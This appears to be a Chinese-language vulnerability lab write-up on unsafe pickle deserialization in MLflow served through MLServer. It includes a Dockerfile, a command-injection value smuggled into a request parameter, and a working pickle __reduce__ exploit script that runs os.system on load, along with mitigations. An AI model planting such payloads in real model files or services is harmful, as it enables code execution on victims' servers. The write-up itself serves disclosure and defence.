用于评估MLflow和MLServer中反序列化行为的研究环境和验证脚本。
| 度量 | 详情 |
|---|
| 漏洞ID | CVE-2026-0596 / GHSA-rvhj-8chj-8v3c |
| 通用弱点枚举 | CWE-78: 操作系统命令中特殊元素的不当中和('OS命令注入') |
| CVSS v3.1基础评分 | 9.6 严重 (CNA: huntr.dev) / 7.8 高 (NVD) |
| 影响向量 | 网络相邻,低复杂度,无需特权,无需用户交互 |
| 受影响生态系统 | mlflow/mlflow (所有通过enable_mlserver=True服务的遗留架构) |
MLflow集成了Seldon的MLServer,以处理高性能、企业级的模型服务。当通过命令行界面或跟踪服务器API启动模型服务器时,开发人员使用以下配置参数标志:
enable_mlserver = True
本实验室环境评估了机器学习模型服务框架在解析用户提供的输入参数和工件元数据时的运行时行为。虽然MLServer面向API的参数解析边界清晰地隔离了原始字符串字面量(防止通过shell元字符进行传统操作系统命令注入),但底层Python运行时在摄取遗留的序列化对象流(.pkl / pickle)时,结构上仍然容易受到不安全的反序列化攻击。
pickle的预测后端。复现环境使用Docker进行容器化,以隔离操作系统层并模拟生产级的机器学习模型端点。
Dockerfile)FROM python:3.10-slim
WORKDIR /app
# Install native system binaries
RUN apt-get update && apt-get install -y \
curl \
build-essential \
&& rm -rf /var/lib/apt/lists/*
# Pin specific framework versions for target tracking
RUN pip install --no-cache-dir \
mlflow==2.11.1 \
mlserver==1.3.5 \
mlserver-mlflow==1.3.5
# Generate localized model configuration footprint
COPY generate_model.py /app/generate_model.py
RUN python /app/generate_model.py
EXPOSE 5000
generate_model.py)import mlflow
import mlflow.pyfunc
import os
class DummyModel(mlflow.pyfunc.PythonModel):
def predict(self, context, model_input):
return model_input
if __name__ == "__main__":
model_path = "/app/saved_model"
if not os.path.exists(model_path):
mlflow.pyfunc.save_model(path=model_path, python_model=DummyModel())
初始测试尝试通过/invocations REST端点的params负载数组传递shell终止载荷序列(; touch /tmp/poc_success_marker.txt #):
{
"dataframe_split": {
"columns": ["machine_input"],
"data": [["test_data"]]
},
"params": {
"custom_runtime_param": "default_runtime; touch /tmp/poc_success_marker.txt #"
}
}
结果: 阴性。 框架将载荷安全地视为绝对的、未求值的字符串字面量。这证实了引擎直接将输入变量抽象到Python内存空间中,而不是通过原始命令包装器动态合成系统shell参数。
由于MLflow和MLServer摄取编译后的Python对象,核心风险从字符串求值转移到对象图重建。使用自定义验证脚本,通过Python的原生魔术优化方法(__reduce__)直接将执行触发器嵌入到模拟的模型流中。
trigger_native.py)import os
import pickle
class ExploitModel:
def __reduce__(self):
# The __reduce__ method defines object reconstruction behaviors.
# Returning os.system forces immediate runtime command execution during loading.
return (os.system, ("touch /tmp/native_success_marker.txt",))
if __name__ == "__main__":
payload_path = "vulnerable_model.pkl"
# Serialize the code execution payload into a pseudo-model file
with open(payload_path, "wb") as f:
pickle.dump(ExploitModel(), f)
# Simulate an application or model server unpickling the artifact
with open(payload_path, "rb") as f:
pickle.load(f)
该脚本被注入到容器沙箱环境中,以模拟后端加载序列:
# Stage execution payload inside the sandbox
docker cp trigger_native.py mlflow_sandbox:/app/trigger_native.py
# Execute the deserialization routine
docker exec -it mlflow_sandbox python /app/trigger_native.py
查询容器的隔离临时目录,确认在对象分配循环期间立即发生了任意代码执行:
PS C:\Users\Sparsh Biswas\mlflow-security-lab> docker exec -it mlflow_sandbox ls -la /tmp/
total 8
drwxrwxrwt 1 root root 4096 May 18 10:31 .
drwxr-xr-x 1 root root 4096 May 18 10:31 ..
-rw-r--r-- 1 root root 0 May 18 10:31 native_success_marker.txt
问题源于对模型工件存储层的隐式信任。标准的Python .pkl / pickle文件不仅仅充当扁平配置记录;它们包含旨在重建嵌套对象属性的顺序字节码指令。
当pickle.load()解析数据集时,它优先处理由__reduce__钩子提供的指令流。这会将目标应用程序重定向到在数据类型验证或机器学习推理计算初始化之前,直接在shell环境中调用原生系统二进制文件(os.system)。
弃用所有训练和部署管道中遗留的序列化层(pickle、joblib、marshal)。将其替换为结构化的、仅包含数据的约束:
如果您的管道严格需要遗留模型配置:
USER 10001)。cap_drop: [ALL])并将Pod与包含敏感元数据端点的网络隔离。